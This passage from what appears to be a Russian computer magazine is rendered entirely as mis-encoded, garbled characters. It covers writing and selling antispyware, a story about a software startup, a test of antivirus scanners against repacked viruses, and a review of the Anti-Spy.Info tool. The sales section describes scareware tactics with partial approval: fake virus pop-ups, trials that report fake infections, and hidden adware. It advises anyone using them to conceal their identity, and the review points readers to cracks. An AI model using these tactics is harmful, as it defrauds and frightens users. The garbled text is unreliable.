çàêàçàòü ó ïðîôåññèîíàëà. Ê ïðèìåðó, ìîãó ñêà-
çàòü, ÷òî ìàëåíüêàÿ êàðòèíêà çîíòèêà â Àíòèâèðó-
ñå Êàñïåðñêîãî âåðñèè 6 ðèñîâàëàñü ãîä!!! Òàê ÷òî
íå ñëåäóåò ïðåíåáðåãàòü çíà÷èìîñòüþ äèçàéíà —
ýòî êàê ìèíèìóì 30% óñïåõà.

çàùèòà. Òàê êàê ìû âñå-òàêè íå áëàãîòâîðè-
òåëüíîñòüþ çàíèìàåìñÿ, à çàðàáàòûâàåì ñåáå íà
æèçíü, òî íóæíî õîðîøåíüêî çàùèòèòüñÿ îò «äî-
áðûõ» êðýêåðîâ. Ñåé÷àñ ñóùåñòâóåò ìàññà ðàçíî-
îáðàçíûõ ïàêîâùèêîâ, êîòîðûå äîñòàòî÷íî íà-
äåæíî ñîõðàíÿò ñîäåðæèìîå êîøåëüêà ïðîãðàì-
ìèñòà. Êîíå÷íî, ìîæíî çàíÿòüñÿ ýòèì äåëîì ñàì-
îìó, íî òîëüêî â òîì ñëó÷àå, åñëè íàïèñàííàÿ ðàç
çàùèòà áóäåò ïîñòîÿííî îáíîâëÿòüñÿ è òåì ñàìûì
ïðîòèâîñòîÿòü ïîñÿãàòåëüñòâàì íà âàøó èíòåë-
ëåêòóàëüíóþ ñîáñòâåííîñòü.

Âïðî÷åì, åñòü ìåòîäû ãîðàçäî áîëåå äåé-
ñòâåííûå è îäíîâðåìåííî ïðîùå ðåàëèçóåìûå.
Íàïðèìåð, òàê êàê àíòèspyware äîëæåí ïîñòîÿí-
íî îáíîâëÿòü ñâîè áàçû, òî ìîæíî ïðîñòî-íàïðî-
ñòî çàáëîêèðîâàòü îáíîâëåíèÿ ñ òåõ êëþ÷åé, êî-
òîðûå áóäóò èñïîëüçîâàòüñÿ «íåîôèöèàëüíûìè»
þçåðàìè. Îòñëåäèòü ýòî î÷åíü ïðîñòî, à íàïè-
ñàòü ïðîñòåíüêóþ ñèñòåìó äëÿ àóòåíòèôèêàöèè
êîïèé ïðîãðàììû íà ñåðâåðå — åùå ïðîùå. Íî
îïÿòü òàêè — íå ñòîèò òîðîïèòüñÿ ñ ýòèì øàãîì.
Êàê âû äóìàåòå, ïî÷åìó òîò æå Àíòèâèðóñ Êà-
ñïåðñêîãî íå ñäåëàë òàêóþ áÿêó ìèëëèîíàì
ïîëüçîâàòåëåé âñåãî ìèðà? Âñå î÷åíü ïðîñòî —
ýòî ñåêðåò ¹2 (à äëÿ íåêîòîðûõ âîâñå è íå ñå-
êðåò), à îäèí èç ïðèåìîâ ðàñêðóòêè ÏÎ, âïðî÷åì,
î íèõ ÿ ðàññêàæó ÷óòü ïîçæå.

Ïîäâîäÿ èòîã, ìîæíî ñêàçàòü, ÷òî åñòü äâà
îñíîâíûõ òèïà çàùèòû ÏÎ: ëîêàëüíûé è óäàëåí-
íûé. Ðåøèòü, ÷òî èñïîëüçîâàòü, äîëæåí âûáðàòü
ñàì ðàçðàáîò÷èê.

íåìíîãî îî ïïðîäàæàõ. Êîãäà ñîôò íàïèñàí,
ñäåëàí áèëëèíã è ñàéò ïîä íåãî, è ìîæíî íà÷èíàòü
ïðîäàâàòü, ñðàçó æå âîçíèêàåò âîïðîñ. Êàê ñäå-
ëàòü òàê, ÷òîáû î âíîâü ïîÿâèâøåìñÿ àíòèspyware
óçíàëè, à ñàìîå ãëàâíîå — êóïèëè? Åñòü äâà ñïî-
ñîáà: ÷åñòíûé è íå ñîâñåì. Ñåé÷àñ ÿ ðàññêàæó î
íèõ ïî ïîðÿäêó.

Èòàê, ÷åñòíûé ïóòü ïðîäàæ ïîäðàçóìåâàåò
äîëãóþ ðàñêðóòêó ñàéòà, ðåãèñòðàöèþ â ðàçëè÷-
íûõ ñîôòîâûõ êàòàëîãàõ è ïîñòîÿííóþ ãîíêó çà
ïåðâîå ìåñòî â çàïðîñàõ ó ãóãëà. Åñëè ññûëêà íà
íàø ñàéò áóäåò ïåðâîé ïðè ââîäå â ãóãëå, íàïðè-
ìåð, ñëîâà «antispyware», òî ìîæíî ñìåëî áðî-
ñàòü ðàáîòó — áåçáåäíàÿ æèçíü îáåñïå÷åíà.
Êñòàòè, âòîðîå è òðåòüå ìåñòî â ãóãëå òîæå î÷åíü
äàæå íå ïëîõè... Íî âñå ýòî ïðè óñëîâèè, ÷òî ÏÎ
áóäåò èäåàëüíî ðàáîòàòü, îáëàäàòü äðóæåñòâåí-

íûì èíòåðôåéñîì è èìåòü íåçàóðÿäíûé ôóíê-
öèîíàë. Íî âñå-òàêè, ïðåæäå ÷åì ïðîãðàììà íà÷-
íåò ïðèíîñèòü ñåðüåçíûé äîõîä, ðàáîòàòü ïðè-
äåòñÿ î÷åíü ìíîãî.

Íó, ñ «÷åñòíûì» ñïîñîáîì âñå ïîíÿòíî. Êî-
íå÷íî ÿ íå èíòåðíåò-ìàðêåòîëîã, íî â äâóõ ñëîâàõ
êàðòèíó îáðèñîâàë. Òåïåðü ìîæíî ïîãîâîðèòü è î
«íåìíîæêî íå ÷åñòíûõ» ñïîñîáàõ çàâîåâàíèÿ
ðûíêà. Ïåðâûì äåëîì ñêàæó, ÷òî ðàñêðó÷èâàòü
ñàéò âñå ðàâíî ïðèäåòñÿ, íî íåìíîæêî äðóãèìè
ñïîñîáàìè, ãîðàçäî áîëåå áûñòðûìè. Íåò, ýòî íå
ñïàì, êàê ìíîãèå ñåé÷àñ ïîäóìàëè. Ñóòü çàêëþ÷à-
åòñÿ â òîì, ÷òîáû íàéòè ñàéòû ñ áîëüøîé ïîñåùà-
åìîñòüþ è ðàçìåñòèòü òàì ñâîè áàííåðû. Íî íå

ïðîñòûå ñàéòû, à òå, ãäå òóñóþòñÿ áîãàòûå àìåðè-
êàíñêèå ãðàæäàíå... Êòî åùå íå äîãàäàëñÿ — ýòî
âñÿ÷åñêèå ïëàòíûå è áåñïëàòíûå ïîðíîñàéòû.
Âëàäåëüöàì ýòèõ ñàéòîâ îáû÷íî îáåùàþò ïðîöåíò
îò ïðèáûëè, åñëè ïîêóïêà áûëà ñäåëàíà áëàãîäà-
ðÿ èõ ñòàðàíèÿì. Äàëüøå âñå ñäåëàþò îíè (åñëè
ñîãëàñÿòñÿ íà ýòî ùåäðîå ïðåäëîæåíèå è óâèäÿò
åãî ýêîíîìè÷åñêóþ öåëåñîîáðàçíîñòü).

Êàê èçâåñòíî, òîò, êòî óâëåêàåòñÿ êëóáíè÷-
êîé, ðàíî èëè ïîçäíî ïîäöåïèò êàêóþ-ëèáî èí-
ôåêöèþ. Ýòî ïðàâèëî äåéñòâóåò êàê â ðåàëå, òàê
è â îíëàéíå. Âîò êàê ðàç íà ýòîì è îñíîâàí ãëàâ-
íûé ïðèåì òâîèõ áóäóùèõ ïàðòíåðîâ. Ïðåäñòàâü,
÷òî âî âðåìÿ ñåðôèíãà ó ïîëüçîâàòåëÿ âûñâå÷è-
âàåòñÿ ñòðàøíîå îêíî ñ ñîîáùåíèåì, ÷òî åãî ñè-
ñòåìà ïîðàæåíà çëûì âèðóñîì, è ïðåäëàãàåò ñêà-
÷àòü ñîôòèíó äëÿ ÷óäåñíîãî èñöåëåíèÿ. Ïîâåðü,
ëþäåé, ïîâåðèâøèõ â ýòî, áóäåò áîëüøå, ÷åì êà-
æåòñÿ. Êîíå÷íî, ñóùåñòâóþò áîëåå èçîùðåííûå
ñõåìû, íî â îñíîâå ëåæèò èìåííî ýòîò ïðèíöèï —
íàïóãàòü þçåðà.

Åñëè àíòèspyware èíñòàëëèðîâàí, íî åùå íå
êóïëåí, à ëèøü ïðîõîäèò òðèàëüíûé ñðîê, íå÷èñòî-
ïëîòíûå ïðîãðàììèñòû ìîãóò çàäåéñòâîâàòü èíòå-
ðåñíóþ ôè÷ó — ïîñòîÿííî âûâîäèòü ñîîáùåíèÿ î
òîì, ÷òî íà ìàøèíå âîäèòñÿ îïàñíàÿ çàðàçà, à
óíè÷òîæèòü åå ìîæíî òîëüêî ïîëíîé âåðñèåé ÏÎ.
Êîíå÷íî, íèêàêèõ spyware ìîæåò è íå áûòü, à òî÷-
íåå ñêàçàòü — è íå áóäåò, ïðîñòî äàííûé ïðèåì
î÷åíü ýôôåêòèâåí, îñîáåííî ñ ïîëüçîâàòåëÿìè
òèïà «Äîìîõîçÿéêà2000». ×àñòî ëþäè, êîòîðûå
«ãîíÿò òðàôèê» (âëàäåëüöû ñàéòîâ, ñ êîòîðûõ
ïðèõîäÿò ïîêóïàòåëè), ñàìè ïèøóò ðàçíîîáðàçíûå
adware, ÷òîáû òå íåçàìåòíî óñòàíàâëèâàëèñü íà
ìàøèíû èõ ïîñåòèòåëåé è âñÿ÷åñêè ðåêëàìèðîâà-
ëè ÏÎ. Íî äîëæåí çàìåòèòü, ÷òî òàêèå øòó÷êè
î÷åíü íå ëþáÿò â ñðåäå êîìïüþòåðùèêîâ, è àâòî-
ðèòåò ïðîäóêò òî÷íî ïîòåðÿåò, ïîýòîìó ñëåäóåò õî-
ðîøî ïîäóìàòü, ïðåæäå ÷åì èñïîëüçîâàòü òàêóþ
ñòðàòåãèþ ïðîäàæ. À åñëè óæ âñå-òàêè ðåøèëñÿ íà
«÷åðíûé ïèàð», òî ïîñòàðàéñÿ, ÷òîáû íèêòî íå óç-
íàë òâîåãî èìåíè.

çàêëþ÷èòåëüíîå ññëîâî. Ïîñëå ïðî÷òåíèÿ ýòî-
ãî òðóäà, äóìàþ, ìíîãèå ïîíÿëè, ÷òî íàïèñàòü ñâîé
êîììåð÷åñêèé àíòèspyware íå òàê óæ è ñëîæíî.
Ñàìîå ãëàâíîå — èìåòü ãîëîâó íà ïëå÷àõ, áîëü-
øîå æåëàíèå è MSDN. Òàê ÷òî äåðçàéòå!

Íåêîììåð÷åñêèé àíòèspyware. Ñàéò — òàê ñåáå

èñòîðèÿ îäíîãî 
spyware

ÍÅ ÒÀÊ ÄÀÂÍÎ ß ÏÎÇÍÀÊÎÌÈËÑß Ñ ÎÄ-
ÍÈÌ ×ÅËÎÂÅÊÎÌ, ÊÎÒÎÐÛÉ ÇÀÍÈÌÀÅÒ-
Ñß ÐÀÇÐÀÁÎÒÊÎÉ ÏÎ ÄËß ÎÁÅÑÏÅ×Å-
ÍÈß ÊÎÌÏÜÞÒÅÐÍÎÉ ÁÅÇÎÏÀÑÍÎÑÒÈ. 
À ÍÀ×ÈÍÀËÎÑÜ ÂÑÅ Ñ ÒÎÃÎ, ×ÒÎ ÑÎÁÐÀ-
ËÈÑÜ ÂÌÅÑÒÅ ÒÐÎÅ ÄÐÓÇÅÉ ÂÛÏÈÒÜ ÏÎ
ÊÐÓÆÊÅ ÏÈÂÀ, È ÂÎ ÂÐÅÌß ÏÐÀÇÄÍÎÉ
ÁÅÑÅÄÛ ÎÄÈÍ ÈÇ ÍÈÕ ËßÏÍÓË: «À ÄÀ-
ÂÀÉÒÅ ÑÎÔÒ ÏÐÎÄÀÂÀÒÜ!»... 

ÑÍÀ×ÀËÀ ÍÀØËÈ ÅÙÅ ÏÀÐÓ ÇÍÀÊÎÌÛÕ,
ÊÎÒÎÐÛÅ ÓÌÅÞÒ ÏÐÎÃÐÀÌÌÈÐÎÂÀÒÜ, È
ÏÐÈÄÓÌÀËÈ, ×ÒÎ ÎÍÈ ÁÓÄÓÒ ÏÈÑÀÒÜ.
ÂÛÁÎÐ ÏÀË ÍÀ ÀÍÒÈSPYWARE. ÍÀ ÏÅÐ-
ÂÛÕ ÏÀÐÀÕ ÂÑÅ ÐÀÁÎÒÀËÈ ÍÀ ×ÈÑÒÎÌ
ÝÍÒÓÇÈÀÇÌÅ, ÁÅÇ ÄÅÍÅÃ, ÍÀ ÑÒÀÐÅÍÜ-
ÊÈÕ ÌÀØÈÍÀÕ Â ÑÚÅÌÍÎÉ ÊÂÀÐÒÈÐÅ.
ÏÎÑÒÅÏÅÍÍÎ ÄÅËÎ ÑÄÂÈÍÓËÎÑÜ Ñ
ÌÅÐÒÂÎÉ ÒÎ×ÊÈ, È ÁÓÊÂÀËÜÍÎ ×ÅÐÅÇ
ÍÅÑÊÎËÜÊÎ ÌÅÑßÖÅÂ ÏÐÎÃÐÀÌÌÀ ÁÛ-
ËÀ ÃÎÒÎÂÀ. ÍÎ ÐÅÁßÒ ÏÎÑÒÈÃËÀ ÍÅÓÄÀ-
×À — ÏÐÎÃÐÀÌÌÀ ÂÛØËÀ Î×ÅÍÜ ÃËÞ×-
ÍÀß, È ÁÀÃÐÅÏÎÐÒÛ ÂÀËÈËÈÑÜ ÌÅÃÀ-
ÁÀÉÒÀÌÈ. ÏÐÈØËÎÑÜ ÂÑÅ ÏÅÐÅÏÈÑÛ-
ÂÀÒÜ Ñ ÍÓËß, ÍÎ ÍÀ ÝÒÎ ÐÀÇ ÈÌ ÏÎÌÎ-
ÃÀË ÈÕ ÑÎÁÑÒÂÅÍÍÛÉ ÎÏÛÒ, È ÂÒÎÐÀß
ÏÎÏÛÒÊÀ ÎÊÀÇÀËÀÑÜ ÊÓÄÀ ÓÄÀ×ÍÅÅ.
ÑÎÔÒ ÍÀ×ÀË ÏÐÎÄÀÂÀÒÜÑß È ÏÐÈÍÎ-
ÑÈÒÜ ÍÅÏËÎÕÈÅ ÄÅÍÜÃÈ. Â ÏÎÑËÅÄ-
ÑÒÂÈÈ ÁÛËÎ ÍÀÏÈÑÀÍÎ ÅÙÅ ÍÅÑÊÎËÜ-
ÊÎ ÏÎËÅÇÍÛÕ ÏÐÎÃÐÀÌÌ, ÍÅÊÎÒÎÐÛÅ
ÈÇ ÊÎÒÎÐÛÕ ÏÐÎÂÀËÈËÈÑÜ, À ÍÅÊÎÒÎ-
ÐÛÅ ÈÌÅËÈ ÓÑÏÅÕ.

ÑÅÉ×ÀÑ ÄÐÓÇÜß ÐÀÇÁÅÆÀËÈÑÜ, ÊÀÆ-
ÄÛÉ ÍÀÁÐÀË ÑÅÁÅ ÑÂÎÞ ÑÎÁÑÒÂÅÍ-
ÍÓÞ ÊÎÌÀÍÄÓ. ÌÎÉ ÇÍÀÊÎÌÛÉ ÊÓÏÈË
ÑÅÁÅ ÍÅÄÀÂÍÎ ÍÎÂÅÍÜÊÓÞ «ÒÎÉÎÒÓ»
È ÏÐÈÎÁÐÅË ÍÅÕÈËÓÞ ÊÂÀÐÒÈÐÊÓ, À
ÂÅÄÜ ÂÑÅÃÎ ÍÅÑÊÎËÜÊÎ ËÅÒ ÍÀÇÀÄ ÎÍ
ÐÀÁÎÒÀË ÑÊÐÎÌÍÛÌ ÑÈÑÀÄÌÈÍÎÌ ÇÀ
800 ÐÓÁËÅÉ Â ÌÅÑßÖ. ÒÀÊ ×ÒÎ ÌÅ×ÒÛ
ÑÁÛÂÀÞÒÑß, ÃËÀÂÍÎÅ ÏÎÑÒÀÐÀÒÜÑß.
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Ñåòü áóêâàëüíî êèøèò âèðóñàìè, ÷åðâÿìè è
øïèîíñêèìè ïðîãðàììàìè, ïðèõîäÿùèìè èç íèîò-
êóäà è óõîäÿùèìè â íèêóäà. Ïðàâäà, âìåñòå ñ ãèãà-
áàéòàìè ðàçðóøåííîé èíôîðìàöèè èëè óêðàäåí-
íûìè ýëåêòðîííûìè äåíüãàìè. Ïðè÷åì êà÷åñòâî
àíòèâèðóñíîãî äåòåêòèðîâàíèÿ îñòàâëÿåò æåëàòü
ëó÷øåãî. Ñòàðûå âèðóñû óïàêîâûâàþòñÿ (ïåðåóïà-
êîâûâàþòñÿ) íîâûìè âåðñèÿìè óïàêîâùèêîâ/ïðî-
òåêòîðîâ, ñëåãêà ìîäèôèöèðóþòñÿ èëè îáîðà÷èâà-
þòñÿ âî «âðàïïåðû» (îò àíãë. wrapper — îáåðòêà),
è àíòèâèðóñû ïåðåñòàþò èõ ðàñïîçíàâàòü. 

Â ïðîöåññå íàïèñàíèÿ ñòàòüè ìû âûêà÷èâà-
ëè ìíîæåñòâî crack'îâ (áîëüøàÿ ÷àñòü èç êîòîðûõ
îêàçûâàëàñü âèðóñàìè) è «ñêàðìëèâàëè» èõ îí-
ëàéí-ñêàíåðàì ðàçëè÷íûõ àíòèâèðóñíûõ êîìïà-
íèé. Ðåçóëüòàò âïîëíå îïðàâäàë îæèäàíèÿ: çíà-
÷èòåëüíàÿ ÷àñòü âèðóñîâ îñòàëàñü íåðàñïîçíàí-
íîé. È òîëüêî ïîñëå ðó÷íîé ðàñïàêîâêè (ñíÿòèÿ
âðàïïåðà) ñêàíåðû ïðèçíàëè â íèõ õîðîøî çíàêî-
ìûå Win32.HLLM.Beagle, Packed.Win32.Klone.g è
ò. ä. Êñòàòè, ëîêàëüíûå ñêàíåðû òåõ æå ñàìûõ
êîìïàíèé ñïðàâèëèñü ñî ñâîåé çàäà÷åé íàìíîãî
ëó÷øå, ëèøíèé ðàç ïîäòâåðæäàÿ èçâåñòíûé òåçèñ
î áåñïëàòíîì ñûðå.

Ïî ñëîâàì ðàçðàáîò÷èêîâ, àíòèâèðóñíûå áà-
çû îáíîâëÿþòñÿ êàæäûå íåñêîëüêî ÷àñîâ (íà ñà-
ìîì äåëå ýòî íåïðàâäà), íî è çà ýòî âðåìÿ îò «ñâå-
æåãî» âèðóñà óñïåâàþò ïîñòðàäàòü äåñÿòêè, åñëè
íå ñîòíè òûñÿ÷ ïîëüçîâàòåëåé. Ñëóæáà ïîääåðæêè
«Ëàáîðàòîðèè Êàñïåðñêîãî» îáðàáàòûâàåò ïðè-
ñëàííûå âèðóñû ìîìåíòàëüíî, îòâå÷àÿ áóêâàëüíî
÷åðåç íåñêîëüêî ÷àñîâ (äàæå åñëè íà äâîðå — ãëó-
áîêàÿ íî÷ü) è îáåùàÿ âêëþ÷èòü äåòåêòèðîâàíèå â
ñëåäóþùåå îáíîâëåíèå. Ïðè÷åì îòâåò ïðèõîäèò íà
ÿçûêå îðèãèíàëà. Õî÷åøü îáùàòüñÿ íà àíãëèéñêîì —
ïèøè ïî-àíãëèéñêè, è âñå áóäåò ÎÊ. Íó, èëè íå ñîâ-
ñåì ÎÊ. Âî-ïåðâûõ, â íàøåì ñëó÷àå íè ÷åðåç íåñ-
êîëüêî ÷àñîâ, íè äàæå ÷åðåç äåíü îíëàéí-ñêàíåð
òàê è íå íàó÷èëñÿ ðàñïîçíàâàòü çàðàçó (íàó÷èëñÿ
÷åðåç ïîëòîðà äíÿ, êàê ðàç ê ìîìåíòó çàâåðøåíèÿ
ñòàòüè). Âî-âòîðûõ, Packed.Win32.Klone.g, îáåðíó-
òûé â íîâûé âðàïïåð, ïîëó÷èë íàçâàíèå Trojan-
Dropper.Win32.Agent.arz, íåñìîòðÿ íà òî, ÷òî â
ïèñüìå áûë ÿâíî óêàçàí ìåõàíèçì åãî äåéñòâèÿ.
Âñå ýòî êîñâåííûì îáðàçîì ïîäòâåðæäàåò äîãàä-
êó, ÷òî óæå íèêòî íå èññëåäóåò âèðóñû, à ïðîñòî äî-
áàâëÿåò â áàçó íîâóþ ñèãíàòóðó...

Êîìïàíèÿ Dr.Web îòâåòèëà ëèøü íà ñëåäóþ-
ùèé äåíü, ñîîáùèâ, ÷òî ýòè âèðóñû åé óæå èçâåñò-
íû, è íèêàê íå ïðîêîììåíòèðîâàëà òîò ôàêò, ÷òî
èõ íå áåðåò îíëàéí-ñêàíåð. Ïðè÷åì íà àíãëèéñêîå
ïèñüìî ïðèøåë ðóññêèé îòâåò — íåñîëèäíî, îäíà-
êî! Ëàäíî, âîñïîëüçóåìñÿ ëîêàëüíûìè àíòèâèðó-
ñàìè. AVP ActiveX ñêàíåð íàøåë 8 âèðóñîâ â 26 ïî-
ðàæåííûõ îáúåêòàõ (õîòÿ èõ òàì áûëî íàìíîãî
áîëüøå), à CureIt! îò Dr.Web — òîëüêî îäèí, äà è
òî, íàâåðíîå, ñ ïåðåïóãó èëè ïî îøèáêå.

ïðåàìáóëà. Äîâåðÿòü àíòèâèðóñàì èëè íåò —
ïóñêàé êàæäûé ðåøàåò ñàì. Íèêòî íå ñïîðèò, ÷òî
ýòî î÷åíü õîðîøåå ñðåäñòâî ïðîòèâ ãëîáàëüíûõ
âèðóñíûõ ýïèäåìèé. Íî ïðîâåðêà ïðîãðàìì, ïîëó-

óìíàÿ ññëåæêà
ÎÁÇÎÐ ANTI-SPY.INFO
ÀËÜÒÅÐÍÀÒÈÂÀ ÀÍÒÈÂÈÐÓÑÀÌ, ÁÐÀÍÄÌÀÓÝÐÀÌ È ÏÐÎ×ÈÌ
ÀÂÒÎÌÀÒÈÇÈÐÎÂÀÍÍÛÌ ÑÒÎÐÎÆÀÌ — ÏÐÎÃÐÀÌÌÛ, ÏÎÇÂÎËßÞÙÈÅ ÇÀÃËßÍÓÒÜ
ÏÎÄ «ÊÀÏÎÒ» ÑÈÑÒÅÌÛ È ÑÀÌÎÑÒÎßÒÅËÜÍÎ ÐÀÇÎÁÐÀÒÜÑß Â ÑÈÒÓÀÖÈÈ. ANTI-
SPY.INFO — ÎÄÍÀ ÈÇ ÒÀÊÈÕ ÏÐÎÃÐÀÌÌ 

Êðèñ Êàñïåðñêè àêà ìûùúõ 
no e-mail



÷åííûõ èç ñåòè (îñîáåííî èç íåíàäåæíûõ èñòî÷íè-
êîâ òèïà Îñëà), ñîçäàåò ëèøü èëëþçèþ áåçîïàñ-
íîñòè. Ñî ñïåöèàëüíî ïîäãîòîâëåííûìè ôàéëàìè
àíòèâèðóñû íå ñïðàâëÿþòñÿ â ïðèíöèïå! Ýâðèñòè-
÷åñêèé àíàëèç îòäûõàåò, è ïåðåä çàïóñêîì âñÿêîé
íåèçâåñòíîé ïðîãðàììû åå äîëæåí âðó÷íóþ ïðîà-
íàëèçèðîâàòü âûñîêîêâàëèôèöèðîâàííûé ñïå-
öèàëèñò, óìåþùèé äåðæàòü soft-ice â ðóêàõ è íå
øàðàõàþùèéñÿ â ñòîðîíó îò äèçàññåìáëåðà. Íî
ñïåöèàëèñòîâ ìàëî, äà è ó òåõ âðåìåíè íà ïîäîá-
íóþ åðóíäó íå õâàòàåò.

Ìîæíî, êîíå÷íî, çàïóñòèòü Äèñïåò÷åð Çà-
äà÷, ïðîéòèñü ïî âåòâÿì ðååñòðà, îòâåòñòâåííûì
çà àâòîçàãðóçêó, ïîïûòàâøèñü îáíàðóæèòü ïîäîç-
ðèòåëüíûå ôàéëû, íî… ÷åðò âîçüìè! Îòêóäà ïðî-
ñòîìó ïîëüçîâàòåëþ çíàòü, êàêîé èç íèõ ëåãàëü-
íûé, à êàêîé íåò?! Windows ñîäåðæèò òûñÿ÷è ôàé-
ëîâ, è åùå áîëüøåå êîëè÷åñòâî äîáàâëÿþò óñòà-
íàâëèâàåìûå ïðèëîæåíèÿ. Ðåäêèé ñïåöèàëèñò
ñìîæåò ñêàçàòü, êàêàÿ DLL çà ÷òî îòâå÷àåò.

Ñëåäîâàòåëüíî, íåîáõîäèìà ïðîãðàììà, ñîáè-
ðàþùàÿ ìàêñèìóì èíôîðìàöèè î ñèñòåìå è ñîäåð-
æàùàÿ îáøèðíóþ áàçó äàííûõ î âñåõ «÷åñòíûõ» è
«íå÷åñòíûõ» ôàéëàõ, à òàêæå îáðàùàþùàÿ âíèìà-
íèå íà îñîáåííîñòè ïîâåäåíèÿ íåêîòîðûõ ïðîãðàìì
(ñêðûòûå îêíà, âíåäðåíèå â ÷óæèå ïðîöåññû, îòñóò-
ñòâèå öèôðîâîé ïîäïèñè/èíôîðìàöèè î ïðîèçâîäè-
òåëå è ò. ä.), ñ âîçìîæíîñòüþ âðåìåííîãî îòêëþ÷å-
íèÿ ïîäîçðèòåëüíûõ ïðîãðàìì è ðàçâèòîé ñèñòåìîé
ïîääåðæêè ïîëüçîâàòåëåé (ïîñêîëüêó ïî-äðóãîìó
ñîçäàòü áàçó îáî âñåõ ôàéëàõ ïðîñòî íå ïîëó÷èòñÿ).

Â äàëåêîì ïðîøëîì àâòîð íàïèñàë íåñëîæ-
íóþ óòèëèòó, òðàññèðóþùóþ âåêòîðû ïðåðûâàíèé
è ïîêàçûâàþùóþ âñåõ, êòî íà íèõ ñèäèò, ñ óêàçà-
íèåì ñïîñîáîâ âíåäðåíèÿ (÷åñòíûé ðåçèäåíò èëè
íåò). Áîëüøîé ðàñïðîñòðàíåííîñòè (ïî ïðè÷èíàì
íåóìåëîãî ìàðêåòèíãà) îíà òàê è íå ïîëó÷èëà, à ñ
íàñòóïëåíèåì ýðû Windows îêàçàëàñü è âîâñå íå-
íóæíîé, ïîñêîëüêó ðàáîòàëà â ðåàëüíîì ðåæèìå
MS-DOS. Íî ñàìà èäåÿ íå óìåðëà è íàøëà ñåáå
ïðèìåíåíèå â íîâûõ, ñîâðåìåííûõ óòèëèòàõ, íà-
ïðèìåð, â òîé æå Anti-Spy.Info.

«àìáóëà». Ïðîãðàììó Anti-Spy.Info ìîæíî
áåñïëàòíî ñêà÷àòü ñ ñàéòà www.Anti-Spy.Info, îäíàêî
áåç ðåãèñòðàöèè (ñòîèìîñòü êîòîðîé ðàâíÿåòñÿ
$29) ïðîðàáîòàåò âñåãî ëèøü 30 äíåé, ïðè ýòîì
÷àñòü âîçìîæíîñòåé áóäåò çàáëîêèðîâàíà. Ëåêàð-
ñòâî ìîæíî íàéòè â Ñåòè.

Òåêóùàÿ âåðñèÿ èìååò íîìåð 1.6.5, íî íå ðå-
êîìåíäóåì åé ïîëüçîâàòüñÿ, ïîñêîëüêó îíà óïà-
êîâàíà ASProtect'îì è ïðè àêòèâíîì soft-ice ïðî-
ñòî íå çàïóñòèòñÿ! Êñòàòè ãîâîðÿ, òî÷íî òàê æå âå-

äóò ñåáÿ âèðóñû/÷åðâè/øïèîíû, îáðàáîòàííûå
ASProtect'îì, òàê ÷òî soft-ice ñëóæèò ñâîåîáðàç-
íûì ñðåäñòâîì çàùèòû.

Â èòîãå ìû èñïîëüçîâàëè âåðñèþ 1.1, êîòî-
ðàÿ ïðàêòè÷åñêè íè÷åì íå óñòóïàåò â ïëàíå ôóíê-
öèîíàëüíîñòè è íîðìàëüíî óæèâàåòñÿ âìåñòå ñ
soft-ice. Äëÿ ïîëó÷åíèÿ íàèáîëåå ïîëíîé èíôîð-
ìàöèè î ñîñòîÿíèè ñèñòåìû Anti-Spy.Info ðåêîìåí-
äóåòñÿ çàïóñêàòü ñ ïðàâàìè àäìèíèñòðàòîðà, õîòÿ
áîëüøèíñòâî âèðóñîâ ëîâèòñÿ è áåç íèõ.

Ïîñëå çàïóñêà âèäèì ðàçâåðíóòûé íà âåñü
ðàáî÷èé ñòîë ýêðàí ñ èìåíàìè ïðîöåññîâ, ñëóæá,
äðàéâåðîâ è êîìïîíåíòîâ IE, îòñîðòèðîâàííûé ïî
ñòåïåíè èõ îïàñíîñòè, âû÷èñëåííîé íà îñíîâå íå-
êîòîðûõ íå äî êîíöà ïîíÿòíûõ êðèòåðèåâ, â ðå-
çóëüòàòå ÷åãî áåçîáèäíûì ïðîãðàììàì ñïëîøü è
ðÿäîì ïðèñâàèâàåòñÿ ðåéòèíã potentially dangerous
(ïîòåíöèàëüíî îïàñíàÿ), â òî âðåìÿ êàê äàëåêî íå
êàæäîìó âèðóñó «óäàåòñÿ» ïðåîäîëåòü áàðüåð har-
mless (áåçâðåäíûé). Íî íå â ðåéòèíãàõ äåëî! Ãëàâ-
íîå, ÷òî Anti Spy.Info îòîáðàæàåò âñå ïðîöåññû/áè-
áëèîòåêè/êîìïîíåíòû âìåñòå ñ èíôîðìàöèåé, êî-
òîðóþ åé óäàëîñü äîáûòü. Íàøà çàäà÷à — åå ïðî-
àíàëèçèðîâàòü.

ðàáîòà ññ AAnti-SSpy.Info. Â ïåðâóþ î÷åðåäü ñëå-
äóåò îáðàùàòü âíèìàíèå íà ïîÿâëåíèå íîâûõ
ïðîöåññîâ, ñòàðòóþùèõ âìåñòå ñ ñèñòåìîé (Anti-
Spy.Info â áîëüøèíñòâå ñëó÷àåâ êîððåêòíî îïðå-
äåëÿåò òèï çàïóñêà), êîòîðûõ íå áûëî ðàíåå. È
ýòî — ñàìûé ýôôåêòèâíûé ñïîñîá âûÿâëåíèÿ çà-
ðàçû. Anti-Spy.Info óìååò ñîõðàíÿòü îò÷åò â html- è

txt-ôîðìàòàõ, íî, ê ñîæàëåíèþ, íå óìååò ñðàâíè-
âàòü èõ, ÷òî ÿâëÿåòñÿ áîëüøèì ìèíóñîì. Ïðèõî-
äèòñÿ ñðàâíèâàòü îò÷åòû âðó÷íóþ èëè ïèñàòü
ñâîþ ñîáñòâåííóþ óòèëèòó. Íà ïðàêòèêå æå áîëü-
øèíñòâî ïîëüçîâàòåëåé íà÷èíàþò ðâàòü âîëîñû,
òîëüêî êîãäà ðàáîòà ñèñòåìû ñòàíîâèòñÿ òîðìîç-
íîé, íåñòàáèëüíîé èëè íå çàïóñêàåòñÿ âîîáùå,
÷òî â êîðíå íå âåðíî. Íî êàê îòëè÷èòü çàðà-
æåííûå ïðîöåññû îò æèçíåííî-âàæíûõ ñèñòåì-
íûõ ôàéëîâ, ïîñëå óäàëåíèÿ êîòîðûõ íåêîòîðûå
ïðèëîæåíèÿ (à òî è âñþ Windows öåëèêîì) ïðè-
äåòñÿ ïåðåóñòàíàâëèâàòü çàíîâî? Ñåé÷àñ ïðîâå-
äåì êîðîòêèé òðåíèíã, êàê ýòî äåëàåòñÿ.

ïðîâåðêà ííà ââøèâîñòü. Ñàìîé îïàñíîé ïðî-
ãðàììîé, ïî ìíåíèþ Anti-Spy.Info, íà èñïûòóåìîì
êîìïüþòåðå îêàçàëàñü äèíàìè÷åñêàÿ áèáëèîòåêà
wmfhotfix.dll, êîòîðîé áûë ïðèñâîåí ðåêîðäíî âû-
ñîêèé ðåéòèíã îïàñíîñòè (öåëûõ 82%) íà îñíîâà-
